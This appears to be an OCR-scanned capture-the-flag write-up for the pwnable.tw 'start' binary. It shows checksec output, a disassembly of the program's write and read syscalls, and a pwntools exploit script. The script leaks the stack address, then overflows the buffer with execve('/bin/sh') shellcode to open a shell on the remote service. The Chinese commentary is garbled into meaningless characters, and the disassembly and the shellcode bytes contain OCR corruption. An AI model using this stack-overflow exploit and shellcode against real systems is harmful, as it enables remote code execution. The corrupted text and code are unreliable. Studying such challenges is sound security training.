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wxy@ubuntu: s file start.elf
start.elf: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), statically
linked, not stripped
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wxy@ubuntu: $ checksec start.elf
[*] '/home/wxy/Desktop/start.elf’

Arch: 1386-32-1little
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wxy@ubuntu: S ./start.elf

Let's start the CTF:aaaaaaaa
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HEIDARE—TF:

public _start
_start proc near

push esp

push offset _exit //XEMBHRHEZEZACSH.
xor eax, eax

xor ebx, ebx

xor ecx, ecx

xor edx, edx

push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch

mov ecx, esp ; addr
mov dl, 14h ; len

mov bl, 1 ; fd

mov al, 4

int 806h ; LINUX - sys_write
xor ebx, ebx

mov dl, 3Ch

mov al, 3

int 80h ;5 LINUX -
add esp, 14h

retn

_start endp ; sp-analysis failed

BFAGRAICHEEK, BRATRERIK, FRREERILCH. BFITHL JpushT ESP, HESPHIEER, /5 XpushT
exitl B bk, FiESEpush 5N, IR ERBRT .

HL{EESP

addr of exit
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mov ecx, esp ; addr

mov dl, 14h ; len

mov bl, 1 ; fd

mov al, 4

int 806h ; LINUX - sys_write

XEBARRGHEAT T linuxi R, linuxif) & 281 FH 2B 2 @idint OX80R T2 i, 7Eint OX80Z BT Se ¥ S UL HENT M 228, DA
FH I BR B 9 S AR R

1X B i) write BRI H508R 2 K b T ) pushigh HERR 154 87 LA /P SR TR AT BN SR, BD Let's start the CTF: X B F4AF & o

RIG R



xor ebx, ebx

mov dl, 3Ch
mov al, 3
int 80h ;3 LINUX -
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("Let's start the CTF:\235\200\004\b \322\377\377\001")
("s start the CTF:\235\200\004\b \322\377\377\001")
("art the CTF:\235\200\004\b \322\377\377\001")

("the CTF:\235\200\004\b \322\377\377\001")

("CTF:\235\200\004\b \322\377\377\001")
-z (<_exit>: pop esp)
--> 0x1
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add esp, 14h
retn
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ESP-> addr of exit
ACIRESP

FCIRESP
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mov ecx, esp ; addr
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from pwn import *

a=remote( 'chall.pwnable.tw',10000)

a.recvuntil("Let's start the CTF:")
shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0O\xbo\x0b\xcd\x80"
payloadl="A"'*20+p32(0x08048087) # return to func of wrire

a.send(payloadl)

esp=u32(a.recv(4))

payload2="A'*20+p32(esp+20)+shellcode #ERBGESPIN LT 20/5Hret

#, U BHEESPEEN20, AIHEER 20N BERBIEATHER, 4Rk

#shellcode i uht BN IER KAz B

a.send(payload2)

a.interactive()
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